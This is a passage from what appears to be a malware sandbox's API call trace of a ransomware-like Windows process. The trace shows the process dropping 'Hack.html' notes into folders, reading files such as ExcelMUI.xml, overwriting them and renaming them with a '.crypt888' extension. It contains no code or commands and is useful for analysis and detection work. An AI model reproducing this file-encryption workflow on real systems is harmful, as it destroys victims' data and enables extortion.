SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.889] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.890] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\Hack.html" (normalized: "c:\\boot\\zh-tw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.890] GetFileType (hFile=0x3cc) returned 0x1 [0065.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.890] GetFileType (hFile=0x3cc) returned 0x1 [0065.891] GetFullPathNameW (in: lpFileName="C:\\Boot\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Hack.html", lpFilePart=0x0) returned 0x11 [0065.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0065.891] CreateFileW (lpFileName="C:\\Boot\\Hack.html" (normalized: "c:\\boot\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.892] GetFileType (hFile=0x3cc) returned 0x1 [0065.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0065.892] GetFileType (hFile=0x3cc) returned 0x1 [0065.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.893] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0065.893] GetFullPathNameW (in: lpFileName="C:\\Config.Msi\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi\\", lpFilePart=0x0) returned 0xe [0065.893] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.894] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.894] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.894] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.894] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0065.894] GetFullPathNameW (in: lpFileName="C:\\Config.Msi\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi\\", lpFilePart=0x0) returned 0xe [0065.894] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.894] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.895] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.895] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.895] GetFullPathNameW (in: lpFileName="C:\\Config.Msi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0065.895] CreateFileW (lpFileName="C:\\Config.Msi\\Hack.html" (normalized: "c:\\config.msi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.895] GetFileType (hFile=0x3cc) returned 0x1 [0065.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0065.895] GetFileType (hFile=0x3cc) returned 0x1 [0065.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.896] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0065.897] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\", lpFilePart=0x0) returned 0x1a [0065.897] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0xffffffff [0065.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf0) returned 1 [0065.933] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\Hack.html", lpFilePart=0x0) returned 0x23 [0065.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0065.933] CreateFileW (lpFileName="C:\\Documents and Settings\\Hack.html" (normalized: "c:\\documents and settings\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.934] GetFileType (hFile=0x3cc) returned 0x1 [0065.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0065.934] GetFileType (hFile=0x3cc) returned 0x1 [0065.934] WriteFile (in: hFile=0x3cc, lpBuffer=0x2759db4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed98, lpOverlapped=0x0 | out: lpBuffer=0x2759db4*, lpNumberOfBytesWritten=0x39ed98*=0xba, lpOverlapped=0x0) returned 1 [0065.935] CloseHandle (hObject=0x3cc) returned 1 [0065.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.936] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0065.936] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\", lpFilePart=0x0) returned 0xc [0065.936] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.936] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.936] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.937] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.937] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.937] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0065.937] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\", lpFilePart=0x0) returned 0xc [0065.937] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.937] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.938] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.938] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.938] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.938] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0065.938] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\", lpFilePart=0x0) returned 0x16 [0065.938] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.952] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.954] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.954] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.954] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.954] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.957] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.957] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.957] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.957] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.958] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0065.958] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\", lpFilePart=0x0) returned 0x16 [0065.958] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.959] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.960] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.960] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.960] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.960] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.960] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.961] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.961] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.961] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.961] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.961] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.961] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.961] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.962] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.962] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.962] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.962] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.962] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.962] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.963] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0065.964] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0065.964] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0065.964] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x521dc0 [0065.969] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.969] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.969] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.969] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.969] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.970] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0065.970] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0065.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0065.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0065.970] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0065.970] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0065.971] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x521dc0 [0065.971] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0065.972] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0065.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0065.996] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpFilePart=0x0) returned 0x4b [0065.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0065.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3cc [0065.997] GetFileType (hFile=0x3cc) returned 0x1 [0065.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0065.997] GetFileType (hFile=0x3cc) returned 0x1 [0065.998] GetFileSize (in: hFile=0x3cc, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x61d [0065.998] ReadFile (in: hFile=0x3cc, lpBuffer=0x27634e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27634e8*, lpNumberOfBytesRead=0x39ed58*=0x61d, lpOverlapped=0x0) returned 1 [0066.002] CloseHandle (hObject=0x3cc) returned 1 [0066.120] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0066.120] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x39e7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0066.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0066.120] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x39eca0 | out: lpFileInformation=0x39eca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0066.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0066.309] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x39e9ac | out: pfEnabled=0x39e9ac) returned 0x0 [0066.442] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpFilePart=0x0) returned 0x4b [0066.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x408 [0066.442] GetFileType (hFile=0x408) returned 0x1 [0066.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.442] GetFileType (hFile=0x408) returned 0x1 [0066.442] WriteFile (in: hFile=0x408, lpBuffer=0x27dd4f4*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27dd4f4*, lpNumberOfBytesWritten=0x39ed1c*=0x620, lpOverlapped=0x0) returned 1 [0066.443] CloseHandle (hObject=0x408) returned 1 [0066.444] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpFilePart=0x0) returned 0x4b [0066.444] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.crypt888", lpFilePart=0x0) returned 0x54 [0066.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.444] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb8cdeae0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x620)) returned 1 [0066.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.449] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.crypt888")) returned 1 [0066.452] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x408 [0066.454] GetFileType (hFile=0x408) returned 0x1 [0066.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.454] GetFileType (hFile=0x408) returned 0x1 [0066.454] GetFileSize (in: hFile=0x408, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x8f8 [0066.454] ReadFile (in: hFile=0x408, lpBuffer=0x27df14c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27df14c*, lpNumberOfBytesRead=0x39ed58*=0x8f8, lpOverlapped=0x0) returned 1 [0066.465] CloseHandle 